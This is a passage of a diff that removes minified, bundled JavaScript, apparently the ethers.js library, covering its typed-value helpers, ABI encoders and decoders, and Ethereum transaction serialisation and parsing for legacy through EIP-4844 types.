e2, "ENS resolution requires a provider", "UNSUPPORTED_OPERATION", { operation: "resolveName" }), ya(t2, e2.resolveName(t2))) : Ia(t2) ? ya(t2, t2.getAddress()) : t2 && "function" == typeof t2.then ? ya(t2, t2) : void vn(false, "unsupported addressable value", "target", t2); - } - var ma = {}; - function Ba(t2, e2) { - let r4 = false; - return e2 < 0 && (r4 = true, e2 *= -1), new va(ma, `${r4 ? "" : "u"}int${e2}`, t2, { signed: r4, width: e2 }); - } - function Ea(t2, e2) { - return new va(ma, `bytes${e2 || ""}`, t2, { size: e2 }); - } - var wa = Symbol.for("_ethers_typed"); - var va = class _va { - type; - value; - #_; - _typedSymbol; - constructor(t2, e2, r4, n2) { - null == n2 && (n2 = null), kn(ma, t2, "Typed"), yn(this, { _typedSymbol: wa, type: e2, value: r4 }), this.#_ = n2, this.format(); - } - format() { - if ("array" === this.type) - throw new Error(""); - if ("dynamicArray" === this.type) - throw new Error(""); - return "tuple" === this.type ? `tuple(${this.value.map((t2) => t2.format()).join(",")})` : this.type; - } - defaultValue() { - return 0; - } - minValue() { - return 0; - } - maxValue() { - return 0; - } - isBigInt() { - return !!this.type.match(/^u?int[0-9]+$/); - } - isData() { - return this.type.startsWith("bytes"); - } - isString() { - return "string" === this.type; - } - get tupleName() { - if ("tuple" !== this.type) - throw TypeError("not a tuple"); - return this.#_; - } - get arrayLength() { - if ("array" !== this.type) - throw TypeError("not an array"); - return true === this.#_ ? -1 : false === this.#_ ? this.value.length : null; - } - static from(t2, e2) { - return new _va(ma, t2, e2); - } - static uint8(t2) { - return Ba(t2, 8); - } - static uint16(t2) { - return Ba(t2, 16); - } - static uint24(t2) { - return Ba(t2, 24); - } - static uint32(t2) { - return Ba(t2, 32); - } - static uint40(t2) { - return Ba(t2, 40); - } - static uint48(t2) { - return Ba(t2, 48); - } - static uint56(t2) { - return Ba(t2, 56); - } - static uint64(t2) { - return Ba(t2, 64); - } - static uint72(t2) { - return Ba(t2, 72); - } - static uint80(t2) { - return Ba(t2, 80); - } - static uint88(t2) { - return Ba(t2, 88); - } - static uint96(t2) { - return Ba(t2, 96); - } - static uint104(t2) { - return Ba(t2, 104); - } - static uint112(t2) { - return Ba(t2, 112); - } - static uint120(t2) { - return Ba(t2, 120); - } - static uint128(t2) { - return Ba(t2, 128); - } - static uint136(t2) { - return Ba(t2, 136); - } - static uint144(t2) { - return Ba(t2, 144); - } - static uint152(t2) { - return Ba(t2, 152); - } - static uint160(t2) { - return Ba(t2, 160); - } - static uint168(t2) { - return Ba(t2, 168); - } - static uint176(t2) { - return Ba(t2, 176); - } - static uint184(t2) { - return Ba(t2, 184); - } - static uint192(t2) { - return Ba(t2, 192); - } - static uint200(t2) { - return Ba(t2, 200); - } - static uint208(t2) { - return Ba(t2, 208); - } - static uint216(t2) { - return Ba(t2, 216); - } - static uint224(t2) { - return Ba(t2, 224); - } - static uint232(t2) { - return Ba(t2, 232); - } - static uint240(t2) { - return Ba(t2, 240); - } - static uint248(t2) { - return Ba(t2, 248); - } - static uint256(t2) { - return Ba(t2, 256); - } - static uint(t2) { - return Ba(t2, 256); - } - static int8(t2) { - return Ba(t2, -8); - } - static int16(t2) { - return Ba(t2, -16); - } - static int24(t2) { - return Ba(t2, -24); - } - static int32(t2) { - return Ba(t2, -32); - } - static int40(t2) { - return Ba(t2, -40); - } - static int48(t2) { - return Ba(t2, -48); - } - static int56(t2) { - return Ba(t2, -56); - } - static int64(t2) { - return Ba(t2, -64); - } - static int72(t2) { - return Ba(t2, -72); - } - static int80(t2) { - return Ba(t2, -80); - } - static int88(t2) { - return Ba(t2, -88); - } - static int96(t2) { - return Ba(t2, -96); - } - static int104(t2) { - return Ba(t2, -104); - } - static int112(t2) { - return Ba(t2, -112); - } - static int120(t2) { - return Ba(t2, -120); - } - static int128(t2) { - return Ba(t2, -128); - } - static int136(t2) { - return Ba(t2, -136); - } - static int144(t2) { - return Ba(t2, -144); - } - static int152(t2) { - return Ba(t2, -152); - } - static int160(t2) { - return Ba(t2, -160); - } - static int168(t2) { - return Ba(t2, -168); - } - static int176(t2) { - return Ba(t2, -176); - } - static int184(t2) { - return Ba(t2, -184); - } - static int192(t2) { - return Ba(t2, -192); - } - static int200(t2) { - return Ba(t2, -200); - } - static int208(t2) { - return Ba(t2, -208); - } - static int216(t2) { - return Ba(t2, -216); - } - static int224(t2) { - return Ba(t2, -224); - } - static int232(t2) { - return Ba(t2, -232); - } - static int240(t2) { - return Ba(t2, -240); - } - static int248(t2) { - return Ba(t2, -248); - } - static int256(t2) { - return Ba(t2, -256); - } - static int(t2) { - return Ba(t2, -256); - } - static bytes1(t2) { - return Ea(t2, 1); - } - static bytes2(t2) { - return Ea(t2, 2); - } - static bytes3(t2) { - return Ea(t2, 3); - } - static bytes4(t2) { - return Ea(t2, 4); - } - static bytes5(t2) { - return Ea(t2, 5); - } - static bytes6(t2) { - return Ea(t2, 6); - } - static bytes7(t2) { - return Ea(t2, 7); - } - static bytes8(t2) { - return Ea(t2, 8); - } - static bytes9(t2) { - return Ea(t2, 9); - } - static bytes10(t2) { - return Ea(t2, 10); - } - static bytes11(t2) { - return Ea(t2, 11); - } - static bytes12(t2) { - return Ea(t2, 12); - } - static bytes13(t2) { - return Ea(t2, 13); - } - static bytes14(t2) { - return Ea(t2, 14); - } - static bytes15(t2) { - return Ea(t2, 15); - } - static bytes16(t2) { - return Ea(t2, 16); - } - static bytes17(t2) { - return Ea(t2, 17); - } - static bytes18(t2) { - return Ea(t2, 18); - } - static bytes19(t2) { - return Ea(t2, 19); - } - static bytes20(t2) { - return Ea(t2, 20); - } - static bytes21(t2) { - return Ea(t2, 21); - } - static bytes22(t2) { - return Ea(t2, 22); - } - static bytes23(t2) { - return Ea(t2, 23); - } - static bytes24(t2) { - return Ea(t2, 24); - } - static bytes25(t2) { - return Ea(t2, 25); - } - static bytes26(t2) { - return Ea(t2, 26); - } - static bytes27(t2) { - return Ea(t2, 27); - } - static bytes28(t2) { - return Ea(t2, 28); - } - static bytes29(t2) { - return Ea(t2, 29); - } - static bytes30(t2) { - return Ea(t2, 30); - } - static bytes31(t2) { - return Ea(t2, 31); - } - static bytes32(t2) { - return Ea(t2, 32); - } - static address(t2) { - return new _va(ma, "address", t2); - } - static bool(t2) { - return new _va(ma, "bool", !!t2); - } - static bytes(t2) { - return new _va(ma, "bytes", t2); - } - static string(t2) { - return new _va(ma, "string", t2); - } - static array(t2, e2) { - throw new Error("not implemented yet"); - } - static tuple(t2, e2) { - throw new Error("not implemented yet"); - } - static overrides(t2) { - return new _va(ma, "overrides", Object.assign({}, t2)); - } - static isTyped(t2) { - return t2 && "object" == typeof t2 && "_typedSymbol" in t2 && t2._typedSymbol === wa; - } - static dereference(t2, e2) { - if (_va.isTyped(t2)) { - if (t2.type !== e2) - throw new Error(`invalid type: expecetd ${e2}, got ${t2.type}`); - return t2.value; - } - return t2; - } - }; - var _a = class extends GA { - constructor(t2) { - super("address", "address", t2, false); - } - defaultValue() { - return "0x0000000000000000000000000000000000000000"; - } - encode(t2, e2) { - let r4 = va.dereference(e2, "string"); - try { - r4 = da(r4); - } catch (t3) { - return this._throwError(t3.message, e2); - } - return t2.writeValue(r4); - } - decode(t2) { - return da(Zn(t2.readValue(), 20)); - } - }; - var Qa = class extends GA { - coder; - constructor(t2) { - super(t2.name, t2.type, "_", t2.dynamic), this.coder = t2; - } - defaultValue() { - return this.coder.defaultValue(); - } - encode(t2, e2) { - return this.coder.encode(t2, e2); - } - decode(t2) { - return this.coder.decode(t2); - } - }; - function ba(t2, e2, r4) { - let n2 = []; - if (Array.isArray(r4)) - n2 = r4; - else if (r4 && "object" == typeof r4) { - let t3 = {}; - n2 = e2.map((e3) => { - const n3 = e3.localName; - return wn(n3, "cannot encode object for signature with missing names", "INVALID_ARGUMENT", { argument: "values", info: { coder: e3 }, value: r4 }), wn(!t3[n3], "cannot encode object for signature with duplicate names", "INVALID_ARGUMENT", { argument: "values", info: { coder: e3 }, value: r4 }), t3[n3] = true, r4[n3]; - }); - } else - vn(false, "invalid tuple value", "tuple", r4); - vn(e2.length === n2.length, "types/value length mismatch", "tuple", r4); - let A2 = new HA(), i2 = new HA(), o2 = []; - e2.forEach((t3, e3) => { - let r5 = n2[e3]; - if (t3.dynamic) { - let e4 = i2.length; - t3.encode(i2, r5); - let n3 = A2.writeUpdatableValue(); - o2.push((t4) => { - n3(t4 + e4); - }); - } else - t3.encode(A2, r5); - }), o2.forEach((t3) => { - t3(A2.length); - }); - let s2 = t2.appendWriter(A2); - return s2 += t2.appendWriter(i2), s2; - } - function ka(t2, e2) { - let r4 = [], n2 = [], A2 = t2.subReader(0); - return e2.forEach((e3) => { - let i2 = null; - if (e3.dynamic) { - let r5 = t2.readIndex(), n3 = A2.subReader(r5); - try { - i2 = e3.decode(n3); - } catch (t3) { - if (mn(t3, "BUFFER_OVERRUN")) - throw t3; - i2 = t3, i2.baseType = e3.name, i2.name = e3.localName, i2.type = e3.type; - } - } else - try { - i2 = e3.decode(t2); - } catch (t3) { - if (mn(t3, "BUFFER_OVERRUN")) - throw t3; - i2 = t3, i2.baseType = e3.name, i2.name = e3.localName, i2.type = e3.type; - } - if (null == i2) - throw new Error("investigate"); - r4.push(i2), n2.push(e3.localName || null); - }), RA.fromItems(r4, n2); - } - var Da = class extends GA { - coder; - length; - constructor(t2, e2, r4) { - super("array", t2.type + "[" + (e2 >= 0 ? e2 : "") + "]", r4, -1 === e2 || t2.dynamic), yn(this, { coder: t2, length: e2 }); - } - defaultValue() { - const t2 = this.coder.defaultValue(), e2 = []; - for (let r4 = 0; r4 < this.length; r4++) - e2.push(t2); - return e2; - } - encode(t2, e2) { - const r4 = va.dereference(e2, "array"); - Array.isArray(r4) || this._throwError("expected array value", r4); - let n2 = this.length; - -1 === n2 && (n2 = r4.length, t2.writeValue(r4.length)), _n(r4.length, n2, "coder array" + (this.localName ? " " + this.localName : "")); - let A2 = []; - for (let t3 = 0; t3 < r4.length; t3++) - A2.push(this.coder); - return ba(t2, A2, r4); - } - decode(t2) { - let e2 = this.length; - -1 === e2 && (e2 = t2.readIndex(), wn(e2 * MA <= t2.dataLength, "insufficient data length", "BUFFER_OVERRUN", { buffer: t2.bytes, offset: e2 * MA, length: t2.dataLength })); - let r4 = []; - for (let t3 = 0; t3 < e2; t3++) - r4.push(new Qa(this.coder)); - return ka(t2, r4); - } - }; - var Sa = class extends GA { - constructor(t2) { - super("bool", "bool", t2, false); - } - defaultValue() { - return false; - } - encode(t2, e2) { - const r4 = va.dereference(e2, "bool"); - return t2.writeValue(r4 ? 1 : 0); - } - decode(t2) { - return !!t2.readValue(); - } - }; - var Na = class extends GA { - constructor(t2, e2) { - super(t2, t2, e2, true); - } - defaultValue() { - return "0x"; - } - encode(t2, e2) { - e2 = Nn(e2); - let r4 = t2.writeValue(e2.length); - return r4 += t2.writeBytes(e2), r4; - } - decode(t2) { - return t2.readBytes(t2.readIndex(), true); - } - }; - var Ma = class extends Na { - constructor(t2) { - super("bytes", t2); - } - decode(t2) { - return Pn(super.decode(t2)); - } - }; - var xa = class extends GA { - size; - constructor(t2, e2) { - let r4 = "bytes" + String(t2); - super(r4, r4, e2, false), yn(this, { size: t2 }, { size: "number" }); - } - defaultValue() { - return "0x0000000000000000000000000000000000000000000000000000000000000000".substring(0, 2 + 2 * this.size); - } - encode(t2, e2) { - let r4 = Nn(va.dereference(e2, this.type)); - return r4.length !== this.size && this._throwError("incorrect data length", e2), t2.writeBytes(r4); - } - decode(t2) { - return Pn(t2.readBytes(this.size)); - } - }; - var Fa = new Uint8Array([]); - var Pa = class extends GA { - constructor(t2) { - super("null", "", t2, false); - } - defaultValue() { - return null; - } - encode(t2, e2) { - return null != e2 && this._throwError("not null", e2), t2.writeBytes(Fa); - } - decode(t2) { - return t2.readBytes(0), null; - } - }; - var Ta = BigInt(0); - var Ra = BigInt(1); - var Ua = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); - var Ga = class extends GA { - size; - signed; - constructor(t2, e2, r4) { - const n2 = (e2 ? "int" : "uint") + 8 * t2; - super(n2, n2, r4, false), yn(this, { size: t2, signed: e2 }, { size: "number", signed: "boolean" }); - } - defaultValue() { - return 0; - } - encode(t2, e2) { - let r4 = zn(va.dereference(e2, this.type)), n2 = jn(Ua, 256); - if (this.signed) { - let t3 = jn(n2, 8 * this.size - 1); - (r4 > t3 || r4 < -(t3 + Ra)) && this._throwError("value out-of-bounds", e2), r4 = Jn(r4, 256); - } else - (r4 < Ta || r4 > jn(n2, 8 * this.size)) && this._throwError("value out-of-bounds", e2); - return t2.writeValue(r4); - } - decode(t2) { - let e2 = jn(t2.readValue(), 8 * this.size); - return this.signed && (e2 = Kn(e2, 8 * this.size)), e2; - } - }; - var Ha = class extends Na { - constructor(t2) { - super("string", t2); - } - defaultValue() { - return ""; - } - encode(t2, e2) { - return super.encode(t2, aA(va.dereference(e2, "string"))); - } - decode(t2) { - return cA(super.decode(t2)); - } - }; - var La = class extends GA { - coders; - constructor(t2, e2) { - let r4 = false; - const n2 = []; - t2.forEach((t3) => { - t3.dynamic && (r4 = true), n2.push(t3.type); - }); - super("tuple", "tuple(" + n2.join(",") + ")", e2, r4), yn(this, { coders: Object.freeze(t2.slice()) }); - } - defaultValue() { - const t2 = []; - this.coders.forEach((e3) => { - t2.push(e3.defaultValue()); - }); - const e2 = this.coders.reduce((t3, e3) => { - const r4 = e3.localName; - return r4 && (t3[r4] || (t3[r4] = 0), t3[r4]++), t3; - }, {}); - return this.coders.forEach((r4, n2) => { - let A2 = r4.localName; - A2 && 1 === e2[A2] && ("length" === A2 && (A2 = "_length"), null == t2[A2] && (t2[A2] = t2[n2])); - }), Object.freeze(t2); - } - encode(t2, e2) { - const r4 = va.dereference(e2, "tuple"); - return ba(t2, this.coders, r4); - } - decode(t2) { - return ka(t2, this.coders); - } - }; - function Oa(t2) { - return no(aA(t2)); - } - function Ya(t2, e2) { - return { address: da(t2), storageKeys: e2.map((t3, e3) => (vn(Mn(t3, 32), "invalid slot", `storageKeys[${e3}]`, t3), t3.toLowerCase())) }; - } - function Ka(t2) { - if (Array.isArray(t2)) - return t2.map((e3, r4) => Array.isArray(e3) ? (vn(2 === e3.length, "invalid slot set", `value[${r4}]`, e3), Ya(e3[0], e3[1])) : (vn(null != e3 && "object" == typeof e3, "invalid address-slot set", "value", t2), Ya(e3.address, e3.storageKeys))); - vn(null != t2 && "object" == typeof t2, "invalid access list", "value", t2); - const e2 = Object.keys(t2).map((e3) => { - const r4 = t2[e3].reduce((t3, e4) => (t3[e4] = true, t3), {}); - return Ya(e3, Object.keys(r4).sort()); - }); - return e2.sort((t3, e3) => t3.address.localeCompare(e3.address)), e2; - } - function Ja(t2) { - let e2; - return e2 = "string" == typeof t2 ? ca.computePublicKey(t2, false) : t2.publicKey, da(no("0x" + e2.substring(4)).substring(26)); - } - var ja = BigInt(0); - var za = BigInt(2); - var qa = BigInt(27); - var Xa = BigInt(28); - var Va = BigInt(35); - var Wa = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); - function Za(t2) { - return "0x" === t2 ? null : da(t2); - } - function $a(t2, e2) { - try { - return Ka(t2); - } catch (r4) { - vn(false, r4.message, e2, t2); - } - } - function tc(t2, e2) { - return "0x" === t2 ? 0 : Wn(t2, e2); - } - function ec3(t2, e2) { - if ("0x" === t2) - return ja; - const r4 = zn(t2, e2); - return vn(r4 <= Wa, "value exceeds uint size", e2, r4), r4; - } - function rc(t2, e2) { - const r4 = zn(t2, "value"), n2 = $n(r4); - return vn(n2.length <= 32, "value too large", `tx.${e2}`, r4), n2; - } - function nc(t2) { - return Ka(t2).map((t3) => [t3.address, t3.storageKeys]); - } - function Ac(t2, e2) { - vn(Array.isArray(t2), `invalid ${e2}`, "value", t2); - for (let e3 = 0; e3 < t2.length; e3++) - vn(Mn(t2[e3], 32), "invalid ${ param } hash", `value[${e3}]`, t2[e3]); - return t2; - } - function ic(t2, e2) { - const r4 = [rc(t2.nonce, "nonce"), rc(t2.gasPrice || 0, "gasPrice"), rc(t2.gasLimit, "gasLimit"), t2.to || "0x", rc(t2.value, "value"), t2.data]; - let n2 = ja; - if (t2.chainId != ja) - n2 = zn(t2.chainId, "tx.chainId"), vn(!e2 || null == e2.networkV || e2.legacyChainId === n2, "tx.chainId/sig.v mismatch", "sig", e2); - else if (t2.signature) { - const e3 = t2.signature.legacyChainId; - null != e3 && (n2 = e3); - } - if (!e2) - return n2 !== ja && (r4.push($n(n2)), r4.push("0x"), r4.push("0x")), kA(r4); - let A2 = BigInt(27 + e2.yParity); - return n2 !== ja ? A2 = aa.getChainIdV(n2, e2.v) : BigInt(e2.v) !== A2 && vn(false, "tx.chainId/sig.v mismatch", "sig", e2), r4.push($n(A2)), r4.push($n(e2.r)), r4.push($n(e2.s)), kA(r4); - } - function oc(t2, e2) { - let r4; - try { - if (r4 = tc(e2[0], "yParity"), 0 !== r4 && 1 !== r4) - throw new Error("bad yParity"); - } catch (t3) { - vn(false, "invalid yParity", "yParity", e2[0]); - } - const n2 = Hn(e2[1], 32), A2 = Hn(e2[2], 32), i2 = aa.from({ r: n2, s: A2, yParity: r4 }); - t2.signature = i2; - } - function sc(t2, e2) { - const r4 = [rc(t2.chainId, "chainId"), rc(t2.nonce, "nonce"), rc(t2.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), rc(t2.maxFeePerGas || 0, "maxFeePerGas"), rc(t2.gasLimit, "gasLimit"), t2.to || "0x", rc(t2.value, "value"), t2.data, nc(t2.accessList || [])]; - return e2 && (r4.push(rc(e2.yParity, "yParity")), r4.push($n(e2.r)), r4.push($n(e2.s))), Tn(["0x02", kA(r4)]); - } - function ac(t2, e2) { - const r4 = [rc(t2.chainId, "chainId"), rc(t2.nonce, "nonce"), rc(t2.gasPrice || 0, "gasPrice"), rc(t2.gasLimit, "gasLimit"), t2.to || "0x", rc(t2.value, "value"), t2.data, nc(t2.accessList || [])]; - return e2 && (r4.push(rc(e2.yParity, "recoveryParam")), r4.push($n(e2.r)), r4.push($n(e2.s))), Tn(["0x01", kA(r4)]); - } - function cc(t2, e2) { - const r4 = [rc(t2.chainId, "chainId"), rc(t2.nonce, "nonce"), rc(t2.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), rc(t2.maxFeePerGas || 0, "maxFeePerGas"), rc(t2.gasLimit, "gasLimit"), t2.to || Ws, rc(t2.value, "value"), t2.data, nc(t2.accessList || []), rc(t2.maxFeePerBlobGas || 0, "maxFeePerBlobGas"), Ac(t2.blobVersionedHashes || [], "blobVersionedHashes")]; - return e2 && (r4.push(rc(e2.yParity, "yParity")), r4.push($n(e2.r)), r4.push($n(e2.s))), Tn(["0x03", kA(r4)]); - } - var hc = class _hc { - #Q; - #b; - #g; - #k; - #D; - #S; - #N; - #M; - #x; - #F; - #P; - #T; - #R; - #U; - get type() { - return this.#Q; - } - set type(t2) { - switch (t2) { - case null: - this.#Q = null; - break; - case 0: - case "legacy": - this.#Q = 0; - break; - case 1: - case "berlin": - case "eip-2930": - this.#Q = 1; - break; - case 2: - case "london": - case "eip-1559": - this.#Q = 2; - break; - case 3: - case "cancun": - case "eip-4844": - this.#Q = 3; - break; - default: - vn(false, "unsupported transaction type", "type", t2); - } - } - get typeName() { - switch (this.type) { - case 0: - return "legacy"; - case 1: - return "eip-2930"; - case 2: - return "eip-1559"; - case 3: - return "eip-4844"; - } - return null; - } - get to() { - const t2 = this.#b; - return null == t2 && 3 === this.type ? Ws : t2; - } - set to(t2) { - this.#b = null == t2 ? null : da(t2); - } - get nonce() { - return this.#k; - } - set nonce(t2) { - this.#k = Wn(t2, "value"); - } - get gasLimit() { - return this.#D; - } - set gasLimit(t2) { - this.#D = zn(t2); - } - get gasPrice() { - const t2 = this.#S; - return null != t2 || 0 !== this.type && 1 !== this.type ? t2 : ja; - } - set gasPrice(t2) { - this.#S = null == t2 ? null : zn(t2, "gasPrice"); - } - get maxPriorityFeePerGas() { - const t2 = this.#N; - return null == t2 ? 2 === this.type || 3 === this.type ? ja : null : t2; - } - set maxPriorityFeePerGas(t2) { - this.#N = null == t2 ? null : zn(t2, "maxPriorityFeePerGas"); - } - get maxFeePerGas() { - const t2 = this.#M; - return null == t2 ? 2 === this.type || 3 === this.type ? ja : null : t2; - } - set maxFeePerGas(t2) { - this.#M = null == t2 ? null : zn(t2, "maxFeePerGas"); - } - get data() { - return this.#g; - } - set data(t2) { - this.#g = Pn(t2); - } - get value() { - return this.#x; - } - set value(t2) { - this.#x = zn(t2, "value"); - } - get chainId() { - return this.#F; - } - set chainId(t2) { - this.#F = zn(t2); - } - get signature() { - return this.#P || null; - } - set signature(t2) { - this.#P = null == t2 ? null : aa.from(t2); - } - get accessList() { - const t2 = this.#T || null; - return null == t2 ? 1 === this.type || 2 === this.type || 3 === this.type ? [] : null : t2; - } - set accessList(t2) { - this.#T = null == t2 ? null : Ka(t2); - } - get maxFeePerBlobGas() { - const t2 = this.#R; - return null == t2 && 3 === this.type ? ja : t2; - } - set maxFeePerBlobGas(t2) { - this.#R = null == t2 ? null : zn(t2, "maxFeePerBlobGas"); - } - get blobVersionedHashes() { - let t2 = this.#U; - return null == t2 && 3 === this.type ? [] : t2; - } - set blobVersionedHashes(t2) { - if (null != t2) { - vn(Array.isArray(t2), "blobVersionedHashes must be an Array", "value", t2), t2 = t2.slice(); - for (let e2 = 0; e2 < t2.length; e2++) - vn(Mn(t2[e2], 32), "invalid blobVersionedHash", `value[${e2}]`, t2[e2]); - } - this.#U = t2; - } - constructor() { - this.#Q = null, this.#b = null, this.#k = 0, this.#D = ja, this.#S = null, this.#N = null, this.#M = null, this.#g = "0x", this.#x = ja, this.#F = ja, this.#P = null, this.#T = null, this.#R = null, this.#U = null; - } - get hash() { - return null == this.signature ? null : no(this.serialized); - } - get unsignedHash() { - return no(this.unsignedSerialized); - } - get from() { - return null == this.signature ? null : function(t2, e2) { - return Ja(ca.recoverPublicKey(t2, e2)); - }(this.unsignedHash, this.signature); - } - get fromPublicKey() { - return null == this.signature ? null : ca.recoverPublicKey(this.unsignedHash, this.signature); - } - isSigned() { - return null != this.signature; - } - get serialized() { - switch (wn(null != this.signature, "cannot serialize unsigned transaction; maybe you meant .unsignedSerialized", "UNSUPPORTED_OPERATION", { operation: ".serialized" }), this.inferType()) { - case 0: - return ic(this, this.signature); - case 1: - return ac(this, this.signature); - case 2: - return sc(this, this.signature); - case 3: - return cc(this, this.signature); - } - wn(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", { operation: ".serialized" }); - } - get unsignedSerialized() { - switch (this.inferType()) { - case 0: - return ic(this); - case 1: - return ac(this); - case 2: - return sc(this); - case 3: - return cc(this); - } - wn(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", { operation: ".unsignedSerialized" }); - } - inferType() { - const t2 = this.inferTypes(); - return t2.indexOf(2) >= 0 ? 2 : t2.pop(); - } - inferTypes() { - const t2 = null != this.gasPrice, e2 = null != this.maxFeePerGas || null != this.maxPriorityFeePerGas, r4 = null != this.accessList, n2 = null != this.#R || this.#U; - null != this.maxFeePerGas && null != this.maxPriorityFeePerGas && wn(this.maxFeePerGas >= this.maxPriorityFeePerGas, "priorityFee cannot be more than maxFee", "BAD_DATA", { value: this }), wn(!e2 || 0 !== this.type && 1 !== this.type, "transaction type cannot have maxFeePerGas or maxPriorityFeePerGas", "BAD_DATA", { value: this }), wn(0 !== this.type || !r4, "legacy transaction cannot have accessList", "BAD_DATA", { value: this }); - const A2 = []; - return null != this.type ? A2.push(this.type) : e2 ? A2.push(2) : t2 ? (A2.push(1), r4 || A2.push(0)) : r4 ? (A2.push(1), A2.push(2)) : (n2 && this.to || (A2.push(0), A2.push(1), A2.push(2)), A2.push(3)), A2.sort(), A2; - } - isLegacy() { - return 0 === this.type; - } - isBerlin() { - return 1 === this.type; - } - isLondon() { - return 2 === this.type; - } - isCancun() { - return 3 === this.type; - } - clone() { - return _hc.from(this); - } - toJSON() { - const t2 = (t3) => null == t3 ? null : t3.toString(); - return { type: this.type, to: this.to, data: this.data, nonce: this.nonce, gasLimit: t2(this.gasLimit), gasPrice: t2(this.gasPrice), maxPriorityFeePerGas: t2(this.maxPriorityFeePerGas), maxFeePerGas: t2(this.maxFeePerGas), value: t2(this.value), chainId: t2(this.chainId), sig: this.signature ? this.signature.toJSON() : null, accessList: this.accessList }; - } - static from(t2) { - if (null == t2) - return new _hc(); - if ("string" == typeof t2) { - const e3 = Sn(t2); - if (e3[0] >= 127) - return _hc.from(function(t3) { - const e4 = vA(t3); - vn(Array.isArray(e4) && (9 === e4.length || 6 === e4.length), "invalid field count for legacy transaction", "data", t3); - const r4 = { type: 0, nonce: tc(e4[0], "nonce"), gasPrice: ec3(e4[1], "gasPrice"), gasLimit: ec3(e4[2], "gasLimit"), to: Za(e4[3]), value: ec3(e4[4], "value"), data: Pn(e4[5]), chainId: ja }; - if (6 === e4.length) - return r4; - const n2 = ec3(e4[6], "v"), A2 = ec3(e4[7], "r"), i2 = ec3(e4[8], "s"); - if (A2 === ja && i2 === ja) - r4.chainId = n2; - else { - let A3 = (n2 - Va) / za; - A3 < ja && (A3 = ja), r4.chainId = A3, vn(A3 !== ja || n2 === qa || n2 === Xa, "non-canonical legacy v", "v", e4[6]), r4.signature = aa.from({ r: Hn(e4[7], 32), s: Hn(e4[8], 32), v: n2 }), r4.hash = no(t3); - } - return r4; - }(e3)); - switch (e3[0]) { - case 1: - return _hc.from(function(t3) { - const e4 = vA(Sn(t3).slice(1)); - vn(Array.isArray(e4) && (8 === e4.length || 11 === e4.length), "invalid field count for transaction type: 1", "data", Pn(t3)); - const r4 = { type: 1, chainId: ec3(e4[0], "chainId"), nonce: tc(e4[1], "nonce"), gasPrice: ec3(e4[2], "gasPrice"), gasLimit: ec3(e4[3], "gasLimit"), to: Za(e4[4]), value: ec3(e4[5], "value"), data: Pn(e4[6]), accessList: $a(e4[7], "accessList") }; - return 8 === e4.length || (r4.hash = no(t3), oc(r4, e4.slice(8))), r4; - }(e3)); - case 2: - return _hc.from(function(t3) { - const e4 = vA(Sn(t3).slice(1)); - vn(Array.isArray(e4) && (9 === e4.length || 12 === e4.length), "invalid field count for transaction type: 2", "data", Pn(t3)); - const r4 = { type: 2, chainId: ec3(e4[0], "chainId"), nonce: tc(e4[1], "nonce"), maxPriorityFeePerGas: ec3(e4[2], "maxPriorityFeePerGas"), maxFeePerGas: ec3(e4[3], "maxFeePerGas"), gasPrice: null, gasLimit: ec3(e4[4], "gasLimit"), to: Za(e4[5]), value: ec3(e4[6], "value"), data: Pn(e4[7]), accessList: $a(e4[8], "accessList") }; - return 9 === e4.length || (r4.hash = no(t3), oc(r4, e4.slice(9))), r4; - }(e3)); - case 3: - return _hc.from(function(t3) { - const e4 = vA(Sn(t3).slice(1)); - vn(Array.isArray(e4) && (11 === e4.length || 14 === e4.length), "invalid field count for transaction type: 3", "data", Pn(t3)); - const r4 = { type: 3, chainId: ec3(e4[0], "chainId"), nonce: tc(e4[1], "nonce"), maxPriorityFeePerGas: ec3(e4[2], "maxPriorityFeePerGas"), maxFeePerGas: ec3(e4[3], "maxFeePerGas"), gasPrice: null, gasLimit: ec3(e4[4], "gasLimit"), to: Za(e4[5]), value: ec3(e4[6], "value"), data: Pn(e4[7]), accessList: $a(e4[8], "accessList"), maxFeePerBlobGas: ec3(e4[9], "maxFeePerBlobGas"), blobVersionedHashes: e4[10] }; - vn(null != r4.to, "invalid address for transaction type: 3", "data", t3), vn(Array.isArray(r4.blobVersionedHashes), "invalid blobVersionedHashes: must be an array", "data", t3); - for (let e5 = 0; e5 < r4.blobVersionedHashes.length; e5++) - vn(Mn(r4.blobVersionedHashes[e5], 32), `invalid blobVersionedHash at index ${e5}: must be length 32`, "data", t3); - return 11 === e4.length || (r4.hash = no(t3), oc(r4, e4.slice(11))), r4; - }(e3)); - } - wn(false, "unsupported transaction type", "UNSUPPORTED_OPERATION", { operation: "from" }); - } - const e2 = new _hc(); - return null != t2.type && (e2.type = t2.type), null != t2.to && (e2.to = t2.to), null != t2.nonce && (e2.nonce = t2.nonce), null != t2.gasLimit && (e2.gasLimit = t2.gasLimit), null != t2.gasPrice && (e2.gasPrice = t2.gasPrice), null != t2.maxPriorityFeePerGas && (e2.maxPriorityFeePerGas = t2.maxPriorityFeePerGas), null != t2.maxFeePerGas && (e2.maxFeePerGas = t2.maxFeePerGas), null != t2.maxFeePerBlobGas && (e2.maxFeePerBlobGas = t2.maxFeePerBlobGas), null != t2.data && (e2.data = t2.data), null != t2.value && (e2.value = t2.value), null != t2.chainId && (e2.chainId = t2.chainId), null != t2.signature && (e2.signature = aa.from(t2.signature)), null != t2.accessList && (e2.accessList = t2.accessList), null != t2.blobVersionedHashes && (e2.blobVersionedHashes = t2.blobVersionedHashes), null != t2.hash && (vn(e2.isSigned(), "unsigned transaction cannot define hash", "tx", t2), vn(e2.hash === t2.hash, "hash mismatch", "tx", t2)), null != t2.from && (vn(e2.isSigned(), "unsigned transaction cannot define from", "tx", t2), vn(e2.from.toLowerCase() === (t2.from || "").toLowerCase(), "from mismatch", "tx", t2)), e2; - } - }; - var gc = new Uint8Array(32); - gc.fill(0); - var uc = BigInt(-1); - var lc = BigInt(0); - var fc = BigInt(1); - var pc = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); - var dc = Zn(fc, 32); - var Ic = Zn(lc, 32); - var yc = { name: "string", version: "string", chainId: "uint256", verifyingContract: "address", salt: "bytes32" }; - var Cc = ["name", "version", "chainId", "verifyingContract", "salt"]; - function mc(t2) { - return function(e2) { - return vn("string" == typeof e2, `invalid domain value for 